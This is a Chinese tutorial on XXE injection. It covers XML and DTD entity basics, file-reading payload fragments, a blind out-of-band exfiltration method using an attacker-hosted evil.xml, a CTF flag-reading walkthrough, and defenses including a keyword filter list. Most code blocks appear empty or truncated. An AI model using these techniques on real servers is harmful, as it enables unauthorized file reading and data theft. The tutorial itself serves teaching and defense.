0x01 前言
XXE是一种非常常见的漏洞类型,通常在web应用渗透中,成功利用的几率大。
本文主要从基础知识入手,引入重点,难点,误区,解决方法,实验方法,攻击方法,防御方法。
0x02 XML
0x001 简介
XML 被设计用来结构化、存储以及传输信息。
HTML 被设计用来显示数据。
什么是 XML?
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
XML 与 HTML 的主要差异
- XML 不是 HTML 的替代。
- XML 和 HTML 为不同的目的而设计:
- XML 被设计为传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
- XML中的空格会被保留
- XML的注释和HTML一样
对XML的特点的理解
不作为,纯文本,自定义
xml文档仅仅是包装在 XML 标签中的纯粹的信息
我们需要编写软件或者程序,才能传送、接收和显示出这个文档
xml标签的功能性意义依赖于应用程序
在 HTML 中使用的标签(以及 HTML 的结构)是预定义的
XML中允许创作者定义自己的标签和自己的文档结构
XML用途
- XML 应用于 web 开发的许多方面,常用于简化数据的存储和共享。
- XML 把数据从 HTML 分离
- 简化数据共享、数据传输、平台的变更
0x002 树结构
XML 文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”。
文档实例
1 |
|
第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):<note>
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
1 | <to>George</to> |
最后一行定义根元素的结尾:</note>
文档形成树结构
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
所有元素均可拥有子元素:
1 | <root> |
父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。
所有元素均可拥有文本内容和属性(类似 HTML 中)。
实例
上图表示下面的 XML 中的一本书:
1 | <bookstore> |
例子中的根元素是 <bookstore>
。文档中的所有 <book>
元素都被包含在 <bookstore>
中。
<book>
元素有 4 个子元素:<title>
、< author>
、<year>
、<price>
。
0x003 语法
禁忌
- 所有 XML 元素都须有关闭标签
- XML 标签对大小写敏感
- XML 必须正确地嵌套
- XML 文档必须有根元素
- XML 的属性值须加引号
0x004 实体引用
在 XML 中,一些字符拥有特殊的意义。
如果你把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:
1 | <message>if salary < 1000 then</message> |
为了避免这个错误,请用实体引用来代替 “<” 字符:
1 | <message>if salary < 1000 then</message> |
在 XML 中,有 5 个预定义的实体引用:
< | < | 小于 |
---|---|---|
> | > | 大于 |
& | & | 和号 |
' | ‘ | 单引号 |
" | “ | 引号 |
注释:在 XML 中,只有字符 “<” 和 “&” 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
0x03 DTD
0x001 简介
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。使用 DTD 来验证您自身的数据。
DTD(Document Type Definition文档类型定义)是一组机器可读的规则,它们定义XML或HTML的特定版本中允许有什么,不允许有什么。在解析网页时,浏览器将使用这些规则检查页面的有效性并且采取相应的措施。(由DTD中定义的文档类型影响)
DTD是对HTML文档声明,还会影响浏览器的渲染模式(工作模式)。(由页面中书写DTD的方式影响)
简言之,DTD用来告诉浏览器你用的是什么标记语言
内部的 DOCTYPE 声明
DTD被包含在XML源中的表现声明形式:
1 | <!DOCTYPE 根元素 [元素声明]> |
实例
1 |
|
以上 DTD 解释如下:
1 | !DOCTYPE note (第二行)定义此文档是 note 类型的文档。 |
外部文档声明
DTD被包含在XML源头部的表现定义形式:
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
实例
1 |
|
包含 DTD 的 “note.dtd” 文件:
1 |
0x002 构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
0x003元素
元素是 XML 以及 HTML 文档的主要构建模块。
HTML 元素的例子是 “body” 和 “table”。XML 元素的例子是 “note” 和 “message” 。元素可包含文本、其他元素或者是空的。空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。
1 | <!ELEMENT 元素名称 类别> |
0x004属性
属性可提供有关元素的额外信息。
属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。
1 | <img src="" /> 分别为<元素 属性="属性的值" /> |
属性声明使用下列语法:
1 | <!ATTLIST 元素名称 属性名称 属性类型 默认值> |
0X005 DTD实体
实体是用来定义普通文本的变量。
实体引用是对实体的引用。
大多数同学都了解这个 HTML 实体引用:” ”。这个“无折行空格”实体在 HTML 中被用于在某个文档中插入一个额外的空格。
当文档被 XML 解析器解析时,实体就会被展开。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量
可以内部声明或外部引用。
实体又分为一般实体和参数实体
1.一般实体的声明语法:
1 | <!ENTITY 实体名 "实体内容“> |
引用实体的方式:&实体名;
2.参数实体只能在DTD中使用,参数实体的声明格式:
1 | <!ENTITY % 实体名 "实体内容“> |
引用实体的方式:%实体名;
一般实体指代的是将来XML数据文档要用到的文本或数据,而参数实体是在DTD文档内定义的一种DTD信息,所代表的是DTD定义的一部分,不能在XML文档中使用,也不能在DTD中定义。
内部一般实体声明
语法:
1 | <!ENTITY entity-name "entity-value"> |
实例:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
外部一般实体声明
语法:
1 | <!ENTITY entity-name SYSTEM "URI/URL"> |
实例:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
内部参数实体
参数实体不能被应用在元素的声明当中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。test1.xml
1 | <?xml version="1.0" encoding="UTF-8"?> |
test1.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
参数实体必须先定义再使用,而不能像一般实体那样随意放置。
外部参数实体
能将原来很长的DTD文档转变成一个很小的、相互调用的文档集合,适合大型DTD文档的设计开发。test1.xml
1 | <?xml version="1.0" encoding="UTF-8"?> |
test1.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
0x006 PCDATA
- PCDATA 的意思是被解析的字符数据(parsed character data)。
- 可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
- PCDATA 是会被解析器解析的文本。
- 这些文本将被解析器检查实体以及标记。
- 文本中的标签会被当作标记来处理,而实体会被展开。
- 被解析的字符数据不应当包含任何 &、< 或者 > 字符;
- 需要使用 &、< 以及 > 实体来分别替换它们。
0x007 CDATA
- CDATA 的意思是字符数据(character data)。
- CDATA 是不会被解析器解析的文本。
- 在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
0x04 XML实体注入实例
找一台服务器,一台本地主机,服务器作为靶机测试
0x001 有回显测试
在靶机新建test.php
1 |
|
123.txt
1 | test succeed |
外部实体读取文件
payload:
1 | 靶机ip?xml=<?xml version="1.0" encoding="utf-8"?> |
读取靶机123.txt回显:
1 | SimpleXMLElement Object ( [file] => SimpleXMLElement Object ( [file] => test succeed ) |
引用DTD文件
payload:
1 | 靶机ip?xml=<?xml version="1.0" encoding="utf-8"?> |
在本机新建dtd文件(dtdfile.dtd):
1 | <!ENTITY file SYSTEM "file://123.txt"> |
读取靶机123.txt回显:
1 | SimpleXMLElement Object ( [file] => SimpleXMLElement Object ( [file] => test succeed ) |
0x002 无回显测试
可以将结果打到服务器上,查看日志,或则将结果保存为文件
引用远程服务器上的XML文件读取文件
payload:
xxe.xml
1 |
|
test.dtd
1 |
注意:参数实体引用不能出现在内部DTD的标记声明内部
在内部DTD中引入参数实体不能写在标记声明内部,但可写在DTD中标记出现的地方,也就是标记外。
如果想在DTD标记声明中引入参数实体,那么就必须用外部DTD。
使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含<
>
符号时会导致解析错误
这里声明payload实体参数,该实体参数以base64编码方式读取了靶机中123.txt文件内容,然后做为URL参数请求到自己的服务器上。
0x05 XXE
0x001 Blind XXE原理
带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
0x002 误区
直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
1 |
内部实体嵌套的形式:
1 |
|
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
0x003 误区解决方案
将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
如下:
source file
1 |
|
evil.xml
1 |
实体remote,all,send的引用顺序很重要:
- 首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,
- 然后执行%all,
- 这时会检测到send实体,
- 在root节点中引用send,
- 就可以成功实现数据转发。
当然,也直接在DTD中引用send实体,如果在evil.xml中,send是个参数实体的话,即以下方式:
source file
1 |
evil.xml
1 |
0x004 攻击测试
攻击机:本机,靶机:服务器
test.php
1 |
|
evil.xml
1 |
1.php
1 |
|
攻击方法:
- 模拟攻击者构造XXE请求:访问
http://localhost/test.php,
- 然后存在漏洞的服务器会读出file的内容(E:/1.txt)
- 通过带外通道发送给攻击者服务器上的1.php,
- 1.php做的事情就是把读取的数据保存到本地的1.txt中,
- 完成Blind XXE攻击。
0x005 一道CTF题看XXE
输入什么都无反应或回显
burp抓包
我们把content-type改成application/xml的类型,然后下方就可以写入xml代码,先用dtd内部注入看一下能执行不
发现可以成功执行,外部实体注入的话这里没有服务器,不能够测试,那么直接外部注入看是否成功
发现可以读取文件,那么直接读取home/ctf/flag.txt内容
flag读取成功!
0x006 防御XXE攻击
1.使用开发语言提供的禁用外部实体
1 | PHP: |
2.过滤用户提交的XML数据
1 | 关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。 |
0x007 判断是否存在XXE漏洞
1.检测XML是否会被解析
1 | <?xml version=”1.0” encoding=”UTF-8”?> |
如果$shit;变成了”this is shit”,那就继续第二步。
2.检测服务器是否支持外部实体:
1 | <?xml version=”1.0” encoding=”UTF-8”?> |
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
3.如果上面两步都支持,就看是否回显。如果能回显就直接引用外部实体注入。有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
4.如果不能回显,就用Blind XXE攻击方法。